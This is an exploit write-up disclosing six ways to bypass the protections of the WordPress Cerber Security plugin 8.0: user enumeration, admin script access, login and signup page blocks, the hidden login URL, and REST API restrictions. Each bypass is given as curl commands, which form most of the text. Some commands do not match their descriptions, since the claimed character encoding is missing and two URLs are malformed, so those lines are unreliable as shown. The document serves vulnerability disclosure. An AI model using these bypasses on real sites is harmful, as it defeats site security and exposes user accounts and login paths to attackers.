WordPress Plugin Cerber Security, Antispam & Malware Scan 8.0 - Multiple Bypass Vulnerabilities 2019-03-04 15:05:13

# Exploit Title: WordPress Cerber Security, Antispam & Malware Scan - Multiple Bypass Vulnerabilities
# Type: WordPress Plugin
# Date: 2019-03-04
# Active installs: 100,000+
# Version: 8.0
# Software Link: https://wordpress.org/plugins/wp-cerber/
# Exploit Author: ed0x21son
# Category: WebApps, WordPress
# Tested on: Linux/WordPress 5.1


#1: Stop user enumeration bypass:

U can bypass user enumeration protection if u use Post method instead of Get.

curl http://localhost/ -d author=1

#2: Protect admin scripts bypass:

U can bypass admin scripts protection if u add one or more slashes to the uri.

curl 'http://localhost/wp-admin///load-scripts.php?load[]=jquery-core,jquery-migrate,utils'
curl 'http://localhost/wp-admin///load-styles.php?load[]=dashicons,admin-bar'

#3: Protects wp-login.php, wp-signup.php and wp-register.php from attacks bypass:

U can bypass this protection if u encode any character in the uri.

curl http://localhost/wp-login.php
curl -v http://localhost/wp-signup.php
curl -v http://localhost/wp-register.php

#4: Hide login URL bypass:

U can bypass if u encode any character in the uri, Cerber will return the secret slug in the Location header field.

curl -I http://localhost/wp-admin/

#5: Stop user enumeration via REST API bypass:

U can bypass if u insert /index.php/ between domain and rest route.

curl http:/localhost/index.php/wp-json/wp/v2/users/

#6: Disable REST API bypass:

Same above.

curl http:/localhost/index.php/wp-json/wp/v2/